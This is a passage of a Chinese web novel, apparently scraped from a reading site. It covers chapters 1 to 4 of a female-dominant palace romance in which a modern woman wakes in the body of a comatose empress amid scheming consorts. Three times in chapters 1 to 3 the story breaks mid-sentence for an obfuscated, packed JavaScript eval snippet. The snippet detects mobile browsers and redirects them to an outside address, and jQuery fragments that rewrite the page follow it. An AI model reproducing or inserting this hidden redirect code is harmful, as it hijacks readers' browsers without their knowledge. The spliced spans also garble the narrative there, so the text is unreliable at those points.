《这个后宫不要也罢(女尊)》 1. 第 1 章 长乐三年,二月初八,时至子时。 贡院腾起的黑烟直冲天际,破晓时分,激烈的铜锣声在长街敲响。 消息传入紫宸殿时,陆长行的影子打在窗纸上,宛若画中仙鹤,伫立良久。 宫人乌宛白在殿外躬身候着,终耐不住,急切催促道:“君后,您到是拿个主意啊。” 陆长行垂下的睫羽微颤,似从深思中回过神来,他转头看向明黄凤榻上的主人,凤帝昏迷三日,至今仍无清醒迹象。 朝堂之事,他不敢妄言,故而斟酌一番:“此事全权交由陆指挥使查办。” 乌宛白松了口气,应了声‘是’,急急忙忙退下了。 脚步声渐行渐远,紧闭的殿门才缓缓而开,户对上悬着宫灯,将陆长行苍白的面色映照的远比月光寒凉,柳叶眸慢慢凝实远眺贡院方向,天际上堆叠的厚厚黑烟,似恶魔猛兽,要将京城吞噬。 他眸色微沉,睫羽垂下之时,眼尾的朱砂痣泛出淡淡血色。 三日前—— 工部呈报上修缮贡院的预算折子,竟高达三万两白银,凤帝紧握朱笔悬于折上,任朱墨凝聚笔尖,却迟迟未曾落笔。 忽有凉风穿堂拂过,将凤栖烛台上明亮的烛火齐齐压弯。 "陛下。" 灯火晦暗间,陆长行垂眸缓步行至案侧,双手托举的银盘,上头的安神香炉飘出青烟徐徐:“臣听闻您已有两日彻夜未眠……” "啪——" 白玉镇纸叩击凤案,声音在半空之上阵阵回响,飞溅的玉片擦着陆长行的颈侧划出一道细长血痕。 陆长行不觉得疼,只觉凤帝落入耳畔之音凉如腊月寒霜,阴沉至极。 "身为君后,理不好后宫庶务,却有闲心过问朕几日未曾安寝?" 陆长行当即跪地,额头触地:"臣不敢,只望陛下以凤体为重,您……该歇息了。" 殿内沉默片刻,虽然陆长行并未抬首,却依旧能感受到那双凤眸定定落在自己身上。 “陆长行……” 剧烈的咳声打断了凤帝的话,那咳声撕心裂肺,仿佛要将喉咙扯破,身子亦随着咳声颤动,就连挺直的脊背也瞬间佝偻下去。 朱笔从凤帝的手间垂落,她用手捂住嘴,连续刺耳的咳声后,指缝之间溢出大口鲜血。 那血,红得刺目,陆长行不知不觉间已起身行至她的身畔,他不知该做些什么,只能轻抚其背,满眼担忧,轻轻唤她:“陛下……” 久久,咳声渐弱,唯有凤帝艰难的喘息声在殿中回荡。 她余光瞥着身畔儿郎,隐隐泛红的眸底闪烁微光,她未曾抬首,喘息之余,用力推远陆长行,声音沙哑而低沉:“你还是多操心分内事吧。” “分内事……” 喃喃呢语间,陆长行收回神思,转身再次望向凤榻之上沉睡的凤帝。 陆长行不知那夜他离开后凤帝又发生了何事,只知后来,她趴在案上晕死过去,鼻中溢出大片鲜血,甚至染透了工部递上来的折子,自此陷入昏迷,至今已有三日。 脚步的窸窣声在殿中回响,终在床畔旁息声,尽管凤帝沉睡,可无形之中似有一层屏障阻隔了陆长行,他的月白锦缎,如何都穿不进金黄床帏,唯有那双柳叶眸安安静静地落在凤帝脸上,久久移不开视线。 沉睡的凤眼狭长,少了平日的凛冽眸光,平添了几分柔和;山根高挺、鼻尖微翘;原本的朱唇,竟与肌肤无声融合成久不见天的冷白色,一脸病态。 若不是胸口还在起伏,很难不被人怀疑,久卧凤榻的病态美人,早已…… 彼时,天际之上划过光芒一道,冲破茫茫无涯的晦暗天幕。振聋发聩的雷声紧随而至,仿佛要将沉睡的万物全部唤醒。 陆长行视线倏地移向殿外,天空阴云迭起,一场暴雨即将来袭。 “春雷乍动,惊蛰将至。” 他沉默几息,再开口时,声音带着几分哀求:“你也快醒来吧。” 时至辰初,春雨化作雷霆叩击绿瓦,击出厚厚雨雾。 随着数道明艳之色的闯入,将一片灰暗的皇宫都凭添了几分生机。 正是凤帝的后君们。 宫人不由自由抬头望去,紫宸殿门前的乌宛白,亦抬首注目良久。 “师父。”徒弟计安小声询问:“要不要通禀君后一声?” 乌宛白未做言语,只扫了眼殿中,计安了悟,小小身影一个晃神就闪入了殿内。 不过几息光景,乌宛白脸上浮出一丝谄媚笑容,躬身迎上为首之人:“宸贵君。” 说是相迎,可身子明晃晃的立在谢嘉安的身前。 谢嘉安冷眸落在她的脸上:“滚开!” 一旁宫侍为谢嘉安打伞,倾盆大雨沿着伞骨积成雨柱,积落在乌宛白的绛红裙角,而后继续滑落,不过片刻,脚下长靴就被雨水浇灌击透。 乌宛白步子并无挪动,不卑不亢道:“太医再三叮嘱,陛下适宜静养,奴婢奉君后之命再此值守,还望宸贵君不要为难奴婢。” “君后?”谢嘉安一声冷哼:“他独自霸占陛下三日还不够吗?乌宛白!你搞搞清楚,陛下后宫三千,可不是独属某一个人的!你若再敢拦本宫去路,本宫定让你好看!滚开!” 乌宛白依旧躬身立在原地,谢嘉安低语斥责:“冥顽不灵!” 说话间,一个眼色过去,身侧撑伞宫侍便要抬手将其推至一旁。 “宸贵君,”陆长行不知何时从殿内走出,他身形瘦削如竹,肩背却挺拔如松,稳稳立在阶上,乌宛白似有所感,躬身退至一旁,为君后让出一片开阔视野。 陆长行这才居高临下睨着谢嘉安:“你僭越了。” 艳红油纸伞缓缓上扬,露出一双微微眯着的桃花眼眸,四目相对良久,陆长行只觉得他眉心那颗红色圆钿无比刺目,比其身上的那抹朱红还要刺眼。 久久,谢嘉安嘴角微勾,落下挑衅之言:“本宫僭越的事还少吗?” 语落,他径自迈步跨上最后一节石阶,与陆长行齐肩而立,目光挑衅,似在无声宣战:陆长行,如今我与你身处同一高度,你又能奈我如何? 如柱的雨水顷刻倾洒廊下青石,四溅的水花不分敌我,依次淋溅两人袍角、长靴,两人却岿然不动。 谢嘉安讥讽道:“君后独自侍疾三日委实辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124166|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,弟弟们于心不忍,特来照应一二。君后不会再拂弟弟们的美意吧?” 柳叶明眸扫过阶下一众后君,各个衣着华贵,面容绝艳,大雨磅礴之下,他们好似破土绽放的花簇,千朵妖冶,万艳同辉。 陆长行收回视线落在谢嘉安脸上:“宸贵君好意本宫心领了,陛下积劳成疾以至昏迷,人员嘈杂不宜于陛下修养,雨重天寒,都且回吧。” 言毕,转身就走。 谢嘉安心有不甘,厉声高呼:“君后!你莫要太过专断跋扈!陛下并不是你一个人的!” 陆长行蓦地转过身来,柳叶明眸化作一道利刃凝落在谢嘉安的脸上:“本宫乃六宫之主,专断跋扈又如何?宸贵君若有不服,大可以让陛下废了本宫取而代之!” 谢嘉安嘴角微颤。 陆长行冷冷又道:“本宫忘了,宸贵君没这个能耐。” 谢嘉安双手紧握成拳,强烈的愤怒之下,脸颊肌肉都在隐隐颤抖,心中纵有千言不满却无力发泄。 纵然陆长行再不受宠,可他始终是君后,凤帝严守矩矱,给了陆长行专断的资本,哪怕他身后无山可靠、无树栖息,甚至惹凤帝不悦、以至于被罚禁足,可予他掌管后宫之权,从未消减。 只因他是君后,后宫之主。 殿门‘咚——’的一声再次闭合,众后君再如何期盼入殿侍奉陛下左右,也只能无奈作罢。 卿君柳玉书扫了眼谢嘉安袖下紧攥的双拳,眼尾微挑,瞥向身后男子。 侍君韩柏了悟,见其转身离去,自己亦抬步离开了队伍。 雨声嘈杂,刚离开队伍,柳玉书便闲闲开口:“陆家当年因军械案全族被诛,独留君后一个活口。陛下继位三载,最不喜的就是后戚干政,没了父族可靠反而成了君后的优势。这道理满后宫都瞧的清楚明白,唯宸贵君糊涂,陛下昏迷了三日,他就携我们闹了三日,次次吃闭门羹,他也不嫌窝囊。” 韩柏笑笑:“宸贵君独得圣宠,陛下昏迷,他自然心疼心焦。” 柳玉书瞥他一眼,微翘的嘴角携着揶揄之色:“你不也跟着心疼,缘何不闹。” 韩柏眸光微暗,清隽面容更添犹怜之貌:“地位低下、不得圣心,纵然心疼谁在乎啊?” 柳玉书微微一笑:“韩侍君莫要妄自菲薄,你之姿容,当得后宫翘楚。从前陛下整日忙于公务,极少招后君侍奉,兴许一病,醒来就换了性子呢。” 韩柏侧首看他一眼:“这后宫诸君,谁不是眼巴巴的盼着圣恩?缘何卿君如此大度?” 柳玉书眼眸远眺,只是雨雾弥漫,他怎么也瞧不真切,开口时,声音亦透着几分感叹:“我入宫三载,早已人老珠黄,陛下早就看腻了,哪还抵得上你们这些新人。” 韩柏愣了愣,继而噗嗤笑出了声:“三载就已人老珠黄?卿君莫要吓唬臣。” 柳玉书嘴角微勾,除了一抹苦笑,再未多言只字片语。正要加快脚步回宫,忽闻身后嘈杂之声。 两君齐齐回头望去,众君已鱼贯而入步入紫宸殿,尽管大雨磅礴,可众君脸上的喜色丝毫不加掩饰,两君心领神会。 昏迷了三日的凤帝,终于醒了。 2. 第 2 章 现在是什么情况? 裴源有些懵,一觉醒来,突然冲过来一群人喊她:‘陛下’? 她始终保持缄默,用很长时间将当前接收的信息一一消化,并在排除一切不合理后试着说服自己,‘穿越’这件事或许真是个概率事件,自己很‘幸运’被选中了。 确定自己还是女儿身后,她松了口气;然后静静观察着立在榻前的每一个臣子。 他们显然都太年轻了,甚至还有一个趴在自己的怀里……撒娇,不知熏了多少香料在身上,香味很顶,熏的裴源有些想吐。 可她不敢动。 身为臣子,竟敢大张旗鼓的与女帝如此亲近,想必,有他的道理。 而后又有些狐疑,虽然满朝文武看起来长身玉立,但长的实在是……清瘦阴柔,一看就不太像做大事的人。 把朝廷交到这些人手里,确定不是开玩笑吗? 众臣关切的声音此起彼伏,吵的裴源有些心烦意乱,终于,太医的出现为殿内迎来了片刻的宁静。 诊断后,太医嘴角浮起一丝笑意:“陛下已无大碍,只需再静养数日,便可康复。” 众君皆是松了口气。 适才趴在裴源身上的红衣男子开口道:“众君皆在,于陛下静养不利,留一人侍奉足矣。”他眼巴巴地望着凤榻上的女子,低声问道:“陛下以为如何?” 裴源隐隐察觉出哪里不太对劲,却依旧不动声色,目光慢慢的从众君脸上略过,发觉众君回应的她的眼色实在……暧昧。 难道面前这些男人,不是她的朝臣,而是她的……后宫? 思绪依旧混沌,裴源一时拿不定主意,目光谨慎的扫过人群,最后视线停落在榻前穿着月白锦袍的男子身上。 众君皆眼巴巴的看着她,唯独他一人颔首侧立,就像是国王身侧的忠诚护卫,看似心不在焉,实则耳清目明,严阵以待,仿佛一点风声草动都逃不开他的法眼。 裴源有种预感,留他在身边,最为稳妥。 裴源的视线注目其良久,那男子亦有所感,缓缓抬眼迎上,柳叶眸中蕴藏着道不明的情绪一闪即逝,取而代之的,是一脸淡然,不卑不亢。 他对裴源的态度并不热切,甚至再度垂眸,不知是不想与裴源对视,亦或是有其他缘由。 “陛下!”红衣男子试图吸引裴源的注意,所以直接跪坐榻边儿,嗔道:“您昏迷三日,君后便衣不解带的照顾了您三日,殿门紧闭,臣想见您一面都难,如今您终于醒了,留臣在左右伺候可好?” 说话间,他执起裴源的手:“您让君后歇歇嘛~” 裴源眼下的肌肉微微抖动。 ……君后? 这些男人,果然都是她的后宫!!! 一觉醒来,变女帝了,甚至还有佳人三千。 裴源面色稳如老狗,心中早已波涛骇浪,谁能告诉她,这到底是什么情况!!! 裴源试着冷静,并默默消化了第二波消息带给她的冲击。 榻前众君亦各怀心事,偌大后宫,宸贵君一直独得圣宠,荣光耀目,就连君后也暗淡三分。 但那又如何? 凤帝容貌倾城,气质威严,令人见之忘俗;且心思深沉,手段雷霆。如此才情与气魄,后宫众人无不心生敬仰,暗暗仰慕,自要卯足了精神吸引凤帝的注意。 察觉凤帝并未像往常一般应允宸贵君后,众君不免心有期待。 唯有柳玉书开始神游天际,他已入宫三载,最初也如众君一般期盼圣恩,只是千个日夜过去,如今早已对圣宠不报一丝希望。 凤帝不但冷心冷肺,且不解风情,白瞎了一张倾城之貌。 大雨依旧,柳玉书只想快点回宫,窝回榻上睡个回笼觉。 却不想,收回思绪之时,视线竟与凤帝对了正着。 柳玉书愣在当场。 众君亦纷纷顺着凤帝视线看向自己,神色各异,宸贵君最为不满,可凤帝一个眼神瞥过去,他悬在舌尖上的话便生生咽了下去。最后,心不甘情不愿的松开了凤帝的手,起身与众君一同行礼后,狠狠瞪了柳玉书一眼,跟着退伍退离了寝殿。 拥挤的榻前瞬间宽敞了许多,可柳玉书却觉得愈发局促了,他与凤帝真的不熟,更不明白凤帝今日之举所谓何意。只能偷偷看向陆长行,希望君后替自己转圜一二。 陆长行依旧颔首默立,看着情绪平和,但交叠在一起的双手,拇指正轻轻摩挲着虎口,仿佛有话要说。可他默了良久,终究未言只字片语,只对榻上女子微一福礼,看向柳玉书轻言交代道:“好好照顾陛下。” 说完,退下了。 凤帝生性多疑,对后宫诸君总是心存戒备,稍有风吹草动便疑心重重。甚至于独处时,身边亦无侍奉在侧的宫女与宫侍。所以君后一走,偌大的紫宸殿,只剩下了凤帝与柳玉书二人。 审视的凤眸凌厉如刀,每一次抬眼转眸都仿佛利刃剐过肌肤,盯的柳玉书局促不安,时间仿佛滞留一般,每一个呼吸都变得十分缓慢。 终于,凤帝的声音打破了诡异的死寂:“水。” 柳玉书听到指令瞬间望向桌案,却见上头空空如也,只得四下打量殿内,终于在香几旁发现了茶壶,他匆匆上前倒茶,又急急奉到凤帝面前。 凤帝未曾接手,只是盯着他道:“凉的。” 柳玉书又是一愣,眸光对视刹那,不知所措的垂下眼眸:“陛下恕罪,臣……臣这就命人送来温茶。” 说完,疾步向殿外走去,殿门推开之时,一眼看到了君后,他还未离开,反而驻足廊下,远眺着城外方向,不知在想些什么。亦未理会他与乌宛白的对话。 乌宛白听了吩咐,忙去偏殿备茶。 推开殿门之前,柳玉书长吸了一口气,大雨夹杂着万物破土的气息,倒让他精神一振,正要推门而入,一直静默的君后忽而开口:“她其实没那么冷酷。” 柳玉书下意识看向陆长行,男子长身玉立,依旧看着城外方向,任月白广袖垂落在地,仿佛心里藏着解不开的郁结,似察觉到自己的注视,他缓缓又道:“你也不必过分不安。” 柳玉书似懂非懂,对其福礼:“谢君后指点,臣知道了。” 紫宸殿内,裴源倚靠而卧,蹙眉深思,适才男子的一举一动,俨然说明此人不仅对宫殿陈设不熟;似与原主也十分生疏,否则也不会在众君争先开屏斗艳之时神游天际;自己昏迷三日才醒,他却以凉茶侍奉,可见对原主既不热络,亦无关切。 看来,从他身上探出口风最为合适。 所以男子重回殿内时,裴源直言问道:“你……叫什么来着?” 男子颇有些无语,可并无太多反应,好像对裴源不记得他的名字这件事,丝毫不觉的意外,并老实回道:“臣阁名,柳玉书。”他默了默,又补充道:“位卿君。” 裴源:“……” 两人再次相顾无言,殿内一时沉寂无声。 柳玉书似觉不妥,于是开口问道:“陛下留臣侍奉,不怕宸贵君吃醋嘛?” 宸贵君? 裴源深思片刻,了然,原来他说的是那位红衣男子。 位分贵君,果然十分得宠。 裴源不答反问:“你如此问,是不愿留下侍奉?” 柳玉书一愣:“臣不是……臣没有。” 裴源又反问:“那便是担心他心怀嫉妒,报复于你?” 柳玉书唇瓣翕动,几息后出声再次否定:“臣没有。” 裴源凤眸微挑:“看来宸贵君私底下很跋扈啊。” 柳玉书:“……” 柳玉书交叠的手来回摩挲,良久,低语嘀咕着:“臣分明什么都没说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124167|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>听上去似有些委屈,还有些不满,裴源失笑。 那笑声很轻,只是寝殿太过安静,因而十分清晰落入了柳玉书的耳畔,他下意识看向凤榻之上侧卧的女子,嘴角微微翘起的弧度还在。 柳玉书眨了眨眼,太过愕然,差点惊掉了下巴。 要死了! 原来那个不苟言笑、不近人情、不假辞色的凤帝。 居、然、会、笑!!! 彼时,紧闭的殿门开启,乌宛白奉茶步入其中,柳玉书才缓缓从愕然中回过神来。 乌宛白笑道:“陛下大病初愈,不宜饮茶,奴婢自作主张为您泡了红枣参茶,最是补气养血,陛下您尝尝看。” 裴源‘嗯’了一声,茶杯轻薄,可接在手里并不觉得烫,入口温度适宜,口感清润,一点也没有红枣久泡过的甜腻。 乌宛白仔细观察她的脸色,见她眉眼舒展,便知这茶合她心意,脸上笑容愈发灿烂:“陛下静卧三日,想必腹中饥馁,是否传膳?” 裴源摸了摸平坦的肚子,点头:“好。” 乌宛白一声令下,宫侍鱼贯而入,数盘精致的菜肴顷刻就摆满了御案。 眼见柳玉书还在发呆,乌宛白不得已轻咳一声,谁料裴源已径自起身下榻,乌宛白急忙躬身搀扶,却听裴源调侃道:“你咳也没用,他那心思早神游天外去了。” 柳玉书:“……” 乌宛白怔了怔,虽然心中十分意外,但很快又堆满了笑脸,意味深长的看了眼柳玉书后,便忙前忙后伺候起凤帝用膳。 膳食多以清淡为主,肉粥软而不稠,入口即化,米香中带着一丝肉的鲜味,轻柔安抚人的肠胃;两碗肉粥下腹,渐渐唤醒了沉睡的精气神,思绪也更清晰。 随着宫侍离去,裴源视线再次落到柳玉书的脸上,势必要从他口中获得更多有效信息。 提及后宫杂事,柳玉书全无设防,反而在闲谈之间,慢慢卸下了不安局促,言谈亦逐渐从容。 彼时的文渊阁。 月白广袖拂过积灰的书架,陆长行修长指尖在《典制考》的封皮上顿了良久。 正要抽出典籍细看,忽闻身后传来环佩叮当脆响。 陆长行不着痕迹的退至暗处,眸光穿过书架缝隙后,竟与来人四目相对,庄与之视线不避不闪,甚至嘴角慢慢弯出弧度。 不知不觉间,雨势渐弱,一缕阳光穿破层层云雾,天地之间的灰暗顿逃无踪,就连文渊阁也被照的明亮。 陆长行颔首拂去袖口积尘:“德君平日不是最好音律舞蹈吗?怎么突然转了性子,竟有兴致来文渊阁看书?” 庄与之敛起笑容,似有感叹:“贡院的火烧了一夜,臣忽而有些害怕,万一这火烧到了文渊阁,那眼前这些古籍岂不只剩灰了?所以抓紧跑来看看。” 话音落下,阁中回应他的只有静默,庄与之看着陆长行不苟言笑的脸,突然觉得十分无趣,干脆直言:“君后只知贡院大火,把京城的半个天都给烧黑了;想必不知今晨的朱雀门上,有学子在上面留下一句血书吧。” 陆长行终于有了兴致,抬眸看向来人。 “她写的是……” 庄与之也不兜圈子,一字一句道:“凤鸣,止于惊蛰。” 柳叶眸瞬间闪出一道寒光,他片刻平息,冷道:“这话,你该与陛下去说。” “陛下?”庄与之喟叹一声:“陛下病的蹊跷,说的好听是积劳成疾,可臣瞧着,分明就是中毒所致。她昏迷三日好不容易转醒,君后若放心,臣马上前往紫宸殿,将这消息告知她,如何?” 陆长行瞳孔皱缩:“你在威胁本宫?” 庄与之耸耸肩:“威胁倒也谈不上,不管怎么说……臣也是她的君。”他默了默,拂袖离去前,只轻飘飘落下一句:“消息是臣的母亲派人传进来的,君后想想办法吧。” 3. 第 3 章 翌日卯时,众君早已赶到栖梧宫。 陆长行今日起的稍晚,衣不解带的照顾了凤帝三日,他实在过于疲惫,若非要应对后君请安,他定会沉睡至日上三竿。虽勉强起身,可柳叶眸仍慵懒地半眯着,似未从倦意中完全醒来 “本宫昨日吩咐过乌宛白,她可派人来过?陛下昨夜可安好?” 宫侍解安正为他束发,闻言,手上一顿,有些吞吞吐吐:“乌尚宫的徒弟计安来过,她说……她说……” 陆长行缓缓睁开眼,目光如寒星般扫过解安:“为何支支吾吾?” 解安抿了抿唇,片刻后才低声道:“她说,紫宸殿昨晚彻夜燃烛,寅未之时,陛下起身准备上朝;宫侍入殿侍奉时,瞧见柳卿君睡在陛下的……凤榻上。” 殿内刹那间陷入死寂,陆长行久久未出声,解安心中愈发忐忑,他小心翼翼抬眼,透过铜镜窥探男子的神色。只见君后安坐不动,柳叶般的眸子黯淡无光,似蒙上了一层霜雾。 解安试探着开口:“柳卿君入宫伴驾也有三载了,竟还这般不懂规矩,陛下的凤榻,岂是他一个卿君可以留宿的?” 陆长行指尖轻扣指腹,微微用力,指尖破了层皮,一丝刺痛将他从沉滞的情绪中惊醒。他淡淡道:“凤榻是陛下的,谁可留宿,自然由陛下定夺。” 解安应声而动,取过一根白玉簪插入冠中。铜镜中,方才还慵懒倦怠的男子,瞬间气宇轩昂,威仪尽显。 “才修养一日便急着上朝,”陆长行起身,语气微冷:“本宫也多余为她身子担忧!” 柳玉书整夜留宿紫宸殿的消息,几乎在顷刻间传遍了后宫。 陆长行从寝殿迈入厅堂,帘门一掀,几乎被扑面而来的怨气压得窒息。他长叹一口浊气,缓步登上高台。 端坐的众君齐齐起身,齐声道:“君后。” 陆长行随意摆了摆手,示意众人落座。刹那间,空气凝滞,殿内是窒息一般的安静。 陆长行率先打破沉默:“方才不是还聊得热闹,怎么本宫一来,诸君都哑了?” 谢嘉安最沉不住气,言语中满是讥讽:“有什么好聊的?凤榻过夜的特权本就独属君后,如今却被区区卿君侵占。君后不闻不问,卿君亦无认错之举。知道的,是君后大度;不知道的,还以为这后宫已无礼法可言了呢。” 谢嘉安也不是为君后打抱不平,不过是不甘。 此言一落,本就坐立不安的柳玉书想也不想,起身跪道:“臣行为有失,求君后责罚。” 陆长行静静看着跪在堂下的柳玉书,良久才道:“柳卿君纵有所失,亦是陛下所允。陛下既未怪罪,柳卿君何罪之有呢?起吧。” 柳玉书怔然,小心抬眸与堂上之人视线相对。君后神色平和,全无半点恼意,心中徒然生出愧意,却也明白不必多言。 见陆长行如此轻拿轻放,谢嘉安更是不满,冷哼讥笑间,端起了手边的茶杯,谁知动作太过迅疾,热茶竟洒到了他的手背上。疼痛致使他骤然松手,茶杯摔碎在地,引来众君侧目,才发觉其手背已通红一片。 陆长行忙命人端来凉水,不忘嘱咐人去唤太医。 解安领命,匆匆去请太医,岂料刚一推开殿门,竟见凤帝负手而立,显然已听了良久的热闹。 解安脸色一变,跪下请安时,故意抬高声量:“奴才给陛下请安。” 嘈杂的栖梧宫,顷刻之间万籁俱寂。 殿内众君皆回头看去,比之昨日,脸上明显少了一丝殷切的喜色,反而多了一丝不安。 无人知晓凤帝来了多久,又听了多少闲话,他们纷纷回忆着自己刚刚说过的话,是否尖酸刻薄,又是否会引来陛下的不满? 最为明显的便是谢嘉安,惨白的脸色被鲜红锦袍衬得格外鲜明。 唯有君后陆长行的情绪毫无波澜。他依旧如往常般平静地立于原地,柳叶般的眸子穿过开阔的视野,直直与裴源对视。片刻后,他微微颔首,垂下眼眸,似在静候凤帝的旨意。 裴源的目光缓缓扫过在场的众人,每一张面孔她都看得极为仔细。她在心中默默对应着他们的名字、位分,以及他们在宣政殿中身居高位的母亲。 裴源生性要强,素来不喜欢处于被动。因此,每到一处陌生之地,她必会主动出击,尽快熟悉周遭的环境与人事。 昨夜与柳玉书的彻夜长谈,以及今日朝堂上的种种观察,让她愈发清晰地意识到,这位凤帝的处境实在不容乐观。 朝政被他人牢牢把控,后宫与前朝的联系错综复杂。堂下众君虽表面上对自己热情有加,但那殷切的面具之下,究竟藏着何种心思,她实在难以轻易分辨。 良久,裴源慵懒的声线自殿门处悠悠传来,落入诸君耳畔:“是朕的不是,不知留宿一位卿君,竟会惹出诸多不满。” 殿中一时静谧,仅两息之间,众君几乎齐刷刷起身跪地,就连君后亦在其列,齐声道:“臣等妄言,求陛下恕罪。” 面对诸君跪地,裴源并无半分承压之意,只淡淡唤道:“柳玉书。” 柳玉书闻言怔然抬头,见凤帝朝自己招了招手。意外与不安的情绪交织之下,他的大脑一片空白,最后竟连自己是如何迈出栖梧宫、又是如何走到凤帝身畔的都浑然不觉。 他只知凤帝此后再未落下只言片语,转身便离去了。 柳玉书迷迷糊糊地跟在凤帝身后,走了很远,才忍不住回头望去。跪地的诸君仍未起身,只是抬眼目送凤驾远去。他们的情绪各异:有人冷漠、不甘,心怀愤懑;亦有人伤心、嫉妒,满脸落寞。 “不该当众带你走,但留下你,又觉得不妥。”凤帝的声音将他的思绪拉回:“抱歉,连累了你。” 柳玉书再次愕然,慌忙摇头道:“陛下……陛下不必道歉,臣、臣担不起。” 裴源面无表情,步入长街甬道后,淡淡叮嘱道:“昨夜聊的太晚,你定困倦,回吧,好好休息。” 柳玉书跪地,低声说道:“恭送陛下。” 郎君的身影渐行渐远,乌宛白偷偷打量凤帝的脸色,不知是不是错觉,她总觉得那张万年冷漠的脸上,多了一丝让她陌生的情绪。 “陛下,”她试探着开口,“可要奴婢着人照应柳卿君一二?” 裴源微微沉吟,“有劳”二字在舌尖打转,最终却化作了一声轻叹:“甚好。” 乌宛白刚要应声,凤帝的声音却又落下:“依制送些赏赐给他。比起虚无的宠爱,还是能拿在手里的东西更加实在。” 乌宛白微微一笑:“还是陛下想得周到,奴婢回去便亲自去办。” 裴源再不多言,步履从容地沿着后宫缓缓踱步,时而眉眼淡然,时而蹙眉思索,势要将后宫的布局牢牢记在心中。转眼间,午时已至,凤驾徐徐重回紫宸殿。 君后陆长行似已候了许久,身影静立于殿内,姿态清雅如初。 他熬了一锅黄芪乌鸡汤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124168|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说要给她补充气血。 虽然不知这君后是敌是友,但跟谁过不去,别跟饭过不去。所以跨入宫殿后,看着早已备好的午膳,她很大度的邀请君后一起。 “要一起吗?君后。” 君后? 柳叶眸间闪过一丝不易察觉的疑惑。 入座后,他偷偷抬眼观察裴源的面色,女子神色轻松,眉眼舒展,看来今日朝会颇为顺利。 陆长行心中紧绷的弦也渐渐松懈了几分,为她盛了一碗汤出来。 裴源端起汤碗,轻轻吹散热气,轻抿一口,乌鸡汤的鲜美瞬间在舌尖化开,引得她胃口大开。 陆长行嘴角微勾,担忧的心情顿时纾解,就连饭都多吃了几口。 裴源亦将他一举一动收入眼底。 这位君后寡言少语,面对她时,举止间看似疏离,实则关切,有些让她捉摸不透。 若说他不在意凤帝,他还带着鸡汤过来探望;若说他在意凤帝,昨夜柳玉书留宿之事,他却连提也未曾提起。是真大度,还是过于无所事事?裴源心中暗自思忖,却也无从得知。 这一餐,两人吃得极度安静。待宫侍收拾妥当,饮下杯茶后,君后忽而起身缓步走近裴源,在女子不解的视线里缓缓跪地,而后伸出一只手到她的面前。 裴源的眼角微微一颤。 虽知晓如今自己身份尊贵,但让人跪到自己脚下,她委实有些难以接受,几乎是硬着头皮僵坐在原地。对于君后这突如其来的举动,更是满心困惑,只能试探性地将手放入了他的掌心。 陆长行愣住,第一次抬眼将目光落在凤帝脸上。尽管女子神色淡然,可眼底深处的紧张不解,还是被陆长行轻易捕获。 他呼吸一滞,眼尾的痣红得格外妖冶,托着她的手,更是微微颤抖。 可他很快平复下来,垂眸间,不动声色地托着女子的手,轻轻放置在茶案上。他侧身主导着,将两人的手交缠翻转,修长的手指缓缓摩挲至她的腕子,指腹轻点,精准地寻到了她跳动的脉搏。 裴源这才恍然大悟,她的这个君后,竟还是个医者设定。 可诊脉就诊脉,你为什么要跪着啊? 而且按照常理推断,医者的身上不应该有药味才对?怎么他的身上,只有淡淡的皂角味道。 也不知他刚刚发现猫腻没有? 裴源偷偷打量着他,神色倒是平静如常。 正庆幸自己成功蒙混过关之际,她的头忽而剧痛无比,仿佛是顷刻之间,有无数锋利的钢针瞬间刺入大脑,搅动着她的每一寸神经,不给她一点反应准备的机会。 周遭的一切都开始模糊,耳中亦响起刺耳的嘶鸣之音,窒息的疼痛致使她全无自主思考能力,身躯四肢亦无一丝力气,整个人直接载入了君后的怀里。 迷蒙之中,一段陌生画面倏忽掠过脑海。 【‘她’手握短刃,毫不犹豫地刺入一位面容绝艳的男子胸膛。那男子满面惊愕,似欲言说,可口中鲜血喷涌,竟连一个字也未能出口,最终缓缓跪倒在地,任凭生命慢慢流逝。 ‘她’取出帕子擦去手上的血迹后,随后将帕子扔到了男子脸上,对一旁被吓的瑟瑟发抖的女人脸上:“将人带回去,再替本宫传句话,不是所有女人皆如她一般,整日只念着□□里的那点腌臜事……”】 画面渐渐消散,取而代之的是君后担忧面容,和他的低语安抚:“阿源忍一忍,很快就很没事了……” 4. 第 4 章 裴源无法忍受。 那并非寻常的疼痛,而是如同钝刀一次次凿击头骨,初时未能击穿,便反复敲打,甚至来回磋磨,直至痛彻心扉…… 终于熬过了这阵剧痛,她全身已被冷汗浸透,仿佛刚从冷水中捞起一般。 耳边的嗡鸣声渐渐消散,眼前的朦胧也如晨雾般缓缓退去,视线逐渐清晰。 她依旧躺在君后的怀中。 乌宛白不知何时已冲入殿内。 